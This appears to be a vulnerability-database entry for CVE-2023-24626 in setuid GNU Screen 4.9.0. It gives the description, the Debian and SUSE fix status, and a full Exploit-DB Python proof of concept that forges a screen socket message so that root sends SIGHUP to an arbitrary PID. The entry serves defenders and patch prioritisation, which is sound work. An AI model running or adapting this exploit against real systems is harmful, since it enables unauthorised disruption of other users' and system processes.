CVE-2023-24626
Description
socket.c in GNU Screen through 4.9.0, when installed setuid or setgid (the default on platforms such as Arch Linux and FreeBSD), allows local users to send a privileged SIGHUP signal to any PID, causing a denial of service or disruption of the target process.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
GNU screen v4.9.0 - Privilege Escalation
# Exploit Title: GNU screen v4.9.0 - Privilege Escalation
# Date: 03.02.2023
# Exploit Author: Manuel Andreas
# Vendor Homepage: https://www.gnu.org/software/screen/
# Software Link: https://ftp.gnu.org/gnu/screen/screen-4.9.0.tar.gz
# Version: 4.9.0
# Tested on: Arch Linux
# CVE : CVE-2023-24626
import os
import socket
import struct
import argparse
import subprocess
import pty
import time
SOCKDIR_TEMPLATE = "/run/screens/S-{}"
MAXPATHLEN = 4096
MAXTERMLEN = 32
MAXLOGINLEN = 256
STRUCTSIZE = 12584
MSG_QUERY = 9
def find_latest_socket(dir):
return f"{dir}/{sorted(os.listdir(dir))[-1]}"
def build_magic(ver=5):
return ord('m') << 24 | ord('s') << 16 | ord('g') << 8 | ver
def build_msg(type):
return struct.pack("<ii", build_magic(), type) + MAXPATHLEN * b"T"
def build_query(auser, nargs, cmd, apid, preselect, writeback):
assert(len(auser) == MAXLOGINLEN + 1)
assert(len(cmd) == MAXPATHLEN)
assert(len(preselect) == 20)
assert(len(writeback) == MAXPATHLEN)
buf = build_msg(MSG_QUERY)
buf += auser
buf += 3 * b"\x00" #Padding
buf += struct.pack("<i", nargs)
buf += cmd
buf += struct.pack("<i", apid)
buf += preselect
buf += writeback
# Union padding
buf += (STRUCTSIZE - len(buf)) * b"P"
return buf
def spawn_screen_instance():
# provide a pty
mo, so = pty.openpty()
me, se = pty.openpty()
mi, si = pty.openpty()
screen = subprocess.Popen("/usr/bin/screen", bufsize=0, stdin=si, stdout=so, stderr=se, close_fds=True, env={"TERM":"xterm"})
for fd in [so, se, si]:
os.close(fd)
return screen
def main():
parser = argparse.ArgumentParser(description='PoC for sending SIGHUP as root utilizing GNU screen configured as setuid root.')
parser.add_argument('pid', type=int, help='the pid to receive the signal')
args = parser.parse_args()
pid = args.pid
username = os.getlogin()
screen = spawn_screen_instance()
print("Waiting a second for screen to setup its socket..")
time.sleep(1)
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
socket_path = find_latest_socket(SOCKDIR_TEMPLATE.format(username))
print(f"Connecting to: {socket_path}")
s.connect(socket_path)
print('Sending message...')
msg = build_query(username.encode('ascii') + (MAXLOGINLEN + 1 - len(username)) * b"\x00", 0, MAXPATHLEN * b"E", pid, 20 * b"\x00", MAXPATHLEN * b"D")
s.sendmsg([msg])
s.recv(512)
print(f'Ok sent SIGHUP to {pid}!')
screen.kill()
if __name__ == '__main__':
main()
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Debian Mixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 4.9.1-1 |
| sid | Fixed | 4.9.1-1 |
| forky | Fixed | 4.9.1-1 |
| bullseye | Affected | — |
| bookworm | Affected | — |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.